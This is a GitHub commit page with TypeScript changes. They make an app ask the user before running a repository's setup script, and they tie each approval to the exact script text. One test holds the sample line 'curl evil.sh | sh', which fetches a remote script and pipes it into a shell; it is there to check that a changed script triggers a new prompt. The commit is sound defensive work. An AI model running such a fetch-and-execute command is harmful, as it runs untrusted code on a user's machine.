Skip to content
This repository was archived by the owner on Aug 6, 2026. It is now read-only.

Commit bd00bef

Browse files
committed
confirm repo-provided setup script before running
1 parent 4fe2690 commit bd00bef

7 files changed

Lines changed: 232 additions & 1 deletion

File tree

packages/core/src/task-detail/taskCreationHost.ts

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -128,6 +128,18 @@ export interface ITaskCreationHost {
128128
): Promise<string[]>;
129129
setProvisioningActive(taskId: string): void;
130130
clearProvisioning(taskId: string): void;
131+
/**
132+
* Ask the user to approve running a repo-provided environment setup script
133+
* before it executes. Resolves true when approved (or previously approved for
134+
* this exact script), false otherwise. Gates the auto-run so opening a
135+
* malicious repo can't silently execute its setup script (VERIA-353).
136+
*/
137+
confirmEnvironmentSetup(args: {
138+
repoPath: string;
139+
environmentId: string;
140+
name: string;
141+
script: string;
142+
}): Promise<boolean>;
131143
dispatchSetupAction(args: SetupActionDispatch): void;
132144
track(event: string, props?: Record<string, unknown>): void;
133145
importClaudeCliSession(args: {

packages/core/src/task-detail/taskCreationSaga.test.ts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@ const mockHost = vi.hoisted(() => ({
2929
uploadRunAttachments: vi.fn(),
3030
setProvisioningActive: vi.fn(),
3131
clearProvisioning: vi.fn(),
32+
confirmEnvironmentSetup: vi.fn(async () => true),
3233
dispatchSetupAction: vi.fn(),
3334
importClaudeCliSession: vi.fn(),
3435
deleteClaudeCliImport: vi.fn(),

packages/core/src/task-detail/taskCreationSaga.ts

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -637,9 +637,17 @@ export class TaskCreationSaga extends Saga<
637637
): void {
638638
this.deps.host
639639
.getEnvironment({ repoPath, id: environmentId })
640-
.then((env) => {
640+
.then(async (env) => {
641641
if (!env?.setup?.script) return;
642642

643+
const approved = await this.deps.host.confirmEnvironmentSetup({
644+
repoPath,
645+
environmentId,
646+
name: env.name,
647+
script: env.setup.script,
648+
});
649+
if (!approved) return;
650+
643651
this.deps.host.dispatchSetupAction({
644652
taskId,
645653
command: env.setup.script,

packages/ui/src/features/settings/settingsStore.test.ts

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -479,3 +479,59 @@ describe("feature settingsStore terminal font", () => {
479479
);
480480
});
481481
});
482+
483+
describe("feature settingsStore environment setup approvals", () => {
484+
beforeEach(async () => {
485+
await resetPersistenceMocks();
486+
useSettingsStore.setState({ approvedEnvironmentSetups: {} });
487+
});
488+
489+
it("is not approved before the user confirms", () => {
490+
expect(
491+
useSettingsStore
492+
.getState()
493+
.isEnvironmentSetupApproved("/repo", "env-1", "npm run setup"),
494+
).toBe(false);
495+
});
496+
497+
it("approves the exact script the user confirmed", () => {
498+
useSettingsStore
499+
.getState()
500+
.setApprovedEnvironmentSetup("/repo", "env-1", "npm run setup");
501+
502+
expect(
503+
useSettingsStore
504+
.getState()
505+
.isEnvironmentSetupApproved("/repo", "env-1", "npm run setup"),
506+
).toBe(true);
507+
});
508+
509+
it("re-prompts when the approved script text changes", () => {
510+
useSettingsStore
511+
.getState()
512+
.setApprovedEnvironmentSetup("/repo", "env-1", "npm run setup");
513+
514+
expect(
515+
useSettingsStore
516+
.getState()
517+
.isEnvironmentSetupApproved("/repo", "env-1", "curl evil.sh | sh"),
518+
).toBe(false);
519+
});
520+
521+
it("scopes approval to the repo and environment", () => {
522+
useSettingsStore
523+
.getState()
524+
.setApprovedEnvironmentSetup("/repo", "env-1", "npm run setup");
525+
526+
expect(
527+
useSettingsStore
528+
.getState()
529+
.isEnvironmentSetupApproved("/other-repo", "env-1", "npm run setup"),
530+
).toBe(false);
531+
expect(
532+
useSettingsStore
533+
.getState()
534+
.isEnvironmentSetupApproved("/repo", "env-2", "npm run setup"),
535+
).toBe(false);
536+
});
537+
});

packages/ui/src/features/settings/settingsStore.ts

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -113,6 +113,11 @@ interface SettingsStore {
113113
// picker immediately, before the (slow) live branch list resolves.
114114
cachedCloudDefaultBranchMap: Record<string, string>;
115115
lastUsedEnvironments: Record<string, string>;
116+
// Repo-provided environment setup scripts the user has approved to run,
117+
// keyed by "repoPath\0environmentId" -> the exact approved script text.
118+
// Binding to the script text means editing the script re-triggers approval,
119+
// so a malicious repo can't swap in a new payload after a one-time approval.
120+
approvedEnvironmentSetups: Record<string, string>;
116121
defaultInitialTaskMode: DefaultInitialTaskMode;
117122
lastUsedInitialTaskMode: ExecutionMode;
118123
// Mode last chosen when approving a plan; pre-selected on the next approval.
@@ -137,6 +142,16 @@ interface SettingsStore {
137142
environmentId: string | null,
138143
) => void;
139144
getLastUsedEnvironment: (repoPath: string) => string | null;
145+
setApprovedEnvironmentSetup: (
146+
repoPath: string,
147+
environmentId: string,
148+
script: string,
149+
) => void;
150+
isEnvironmentSetupApproved: (
151+
repoPath: string,
152+
environmentId: string,
153+
script: string,
154+
) => boolean;
140155
setDefaultInitialTaskMode: (mode: DefaultInitialTaskMode) => void;
141156
setLastUsedInitialTaskMode: (mode: ExecutionMode) => void;
142157
setLastPlanApprovalMode: (mode: ExecutionMode) => void;
@@ -303,6 +318,7 @@ export const useSettingsStore = create<SettingsStore>()(
303318
cachedCloudRepositoryMap: {},
304319
cachedCloudDefaultBranchMap: {},
305320
lastUsedEnvironments: {},
321+
approvedEnvironmentSetups: {},
306322
defaultInitialTaskMode: "plan",
307323
lastUsedInitialTaskMode: "plan",
308324
lastPlanApprovalMode: null,
@@ -343,6 +359,16 @@ export const useSettingsStore = create<SettingsStore>()(
343359
}),
344360
getLastUsedEnvironment: (repoPath) =>
345361
get().lastUsedEnvironments[repoPath] ?? null,
362+
setApprovedEnvironmentSetup: (repoPath, environmentId, script) =>
363+
set((state) => ({
364+
approvedEnvironmentSetups: {
365+
...state.approvedEnvironmentSetups,
366+
[`${repoPath}\0${environmentId}`]: script,
367+
},
368+
})),
369+
isEnvironmentSetupApproved: (repoPath, environmentId, script) =>
370+
get().approvedEnvironmentSetups[`${repoPath}\0${environmentId}`] ===
371+
script,
346372
setDefaultInitialTaskMode: (mode) =>
347373
set({ defaultInitialTaskMode: mode }),
348374
setLastUsedInitialTaskMode: (mode) =>
@@ -528,6 +554,7 @@ export const useSettingsStore = create<SettingsStore>()(
528554
cachedCloudRepositoryMap: state.cachedCloudRepositoryMap,
529555
cachedCloudDefaultBranchMap: state.cachedCloudDefaultBranchMap,
530556
lastUsedEnvironments: state.lastUsedEnvironments,
557+
approvedEnvironmentSetups: state.approvedEnvironmentSetups,
531558
defaultInitialTaskMode: state.defaultInitialTaskMode,
532559
lastUsedInitialTaskMode: state.lastUsedInitialTaskMode,
533560
lastPlanApprovalMode: state.lastPlanApprovalMode,
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
import { registerRendererStateStorage } from "@posthog/ui/shell/rendererStorage";
2+
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
3+
4+
registerRendererStateStorage({
5+
getItem: vi.fn().mockResolvedValue(null),
6+
setItem: vi.fn().mockResolvedValue(undefined),
7+
removeItem: vi.fn().mockResolvedValue(undefined),
8+
});
9+
10+
vi.mock("@posthog/di/container", () => ({
11+
resolveService: vi.fn(),
12+
}));
13+
14+
vi.mock("../../shell/analytics", () => ({
15+
track: vi.fn(),
16+
captureException: vi.fn(),
17+
}));
18+
19+
import { useSettingsStore } from "../settings/settingsStore";
20+
import { TrpcTaskCreationHost } from "./taskCreationHostImpl";
21+
22+
const args = {
23+
repoPath: "/repo",
24+
environmentId: "env-1",
25+
name: "Dev",
26+
script: "npm run setup",
27+
};
28+
29+
describe("TrpcTaskCreationHost.confirmEnvironmentSetup", () => {
30+
const host = new TrpcTaskCreationHost();
31+
32+
beforeEach(() => {
33+
useSettingsStore.setState({
34+
approvedEnvironmentSetups: {},
35+
_hasHydrated: true,
36+
});
37+
});
38+
39+
afterEach(() => {
40+
vi.restoreAllMocks();
41+
});
42+
43+
it("hydrates the persisted store before reading approvals", async () => {
44+
useSettingsStore.setState({ _hasHydrated: false });
45+
const rehydrateSpy = vi
46+
.spyOn(useSettingsStore.persist, "rehydrate")
47+
.mockResolvedValue(undefined);
48+
vi.spyOn(window, "confirm").mockReturnValue(false);
49+
50+
await host.confirmEnvironmentSetup(args);
51+
52+
expect(rehydrateSpy).toHaveBeenCalledTimes(1);
53+
});
54+
55+
it("prompts and persists approval when the user accepts", async () => {
56+
const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(true);
57+
58+
await expect(host.confirmEnvironmentSetup(args)).resolves.toBe(true);
59+
60+
expect(confirmSpy).toHaveBeenCalledTimes(1);
61+
expect(
62+
useSettingsStore
63+
.getState()
64+
.isEnvironmentSetupApproved("/repo", "env-1", "npm run setup"),
65+
).toBe(true);
66+
});
67+
68+
it("does not persist approval when the user declines", async () => {
69+
const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(false);
70+
71+
await expect(host.confirmEnvironmentSetup(args)).resolves.toBe(false);
72+
73+
expect(confirmSpy).toHaveBeenCalledTimes(1);
74+
expect(
75+
useSettingsStore
76+
.getState()
77+
.isEnvironmentSetupApproved("/repo", "env-1", "npm run setup"),
78+
).toBe(false);
79+
});
80+
81+
it("skips the prompt when the exact script is already approved", async () => {
82+
useSettingsStore
83+
.getState()
84+
.setApprovedEnvironmentSetup("/repo", "env-1", "npm run setup");
85+
const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(false);
86+
87+
await expect(host.confirmEnvironmentSetup(args)).resolves.toBe(true);
88+
89+
expect(confirmSpy).not.toHaveBeenCalled();
90+
});
91+
});

packages/ui/src/features/task-detail/taskCreationHostImpl.ts

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,7 @@ import { resolveLocalSkillPrompt } from "../message-editor/commands";
3333
import { DEFAULT_PANEL_IDS } from "../panels/panelConstants";
3434
import { usePanelLayoutStore } from "../panels/panelLayoutStore";
3535
import { useProvisioningStore } from "../provisioning/store";
36+
import { useSettingsStore } from "../settings/settingsStore";
3637
import { takeWarmTaskLease } from "./hooks/warmTaskLease";
3738

3839
interface EnvironmentHostClient {
@@ -194,6 +195,41 @@ export class TrpcTaskCreationHost implements ITaskCreationHost {
194195
useProvisioningStore.getState().clear(taskId);
195196
}
196197

198+
async confirmEnvironmentSetup(args: {
199+
repoPath: string;
200+
environmentId: string;
201+
name: string;
202+
script: string;
203+
}): Promise<boolean> {
204+
// The persisted store hydrates asynchronously; reading before it finishes
205+
// would miss a prior approval and prompt again. Force hydration first.
206+
if (!useSettingsStore.getState()._hasHydrated) {
207+
await useSettingsStore.persist.rehydrate();
208+
}
209+
const settings = useSettingsStore.getState();
210+
if (
211+
settings.isEnvironmentSetupApproved(
212+
args.repoPath,
213+
args.environmentId,
214+
args.script,
215+
)
216+
) {
217+
return true;
218+
}
219+
220+
const approved = window.confirm(
221+
`The environment "${args.name}" in ${args.repoPath} wants to run this setup script on your machine:\n\n${args.script}\n\nRun it?`,
222+
);
223+
if (approved) {
224+
settings.setApprovedEnvironmentSetup(
225+
args.repoPath,
226+
args.environmentId,
227+
args.script,
228+
);
229+
}
230+
return approved;
231+
}
232+
197233
dispatchSetupAction(args: SetupActionDispatch): void {
198234
const actionId = `setup-${args.taskId}-${Date.now()}`;
199235
usePanelLayoutStore

0 commit comments

Comments
 (0)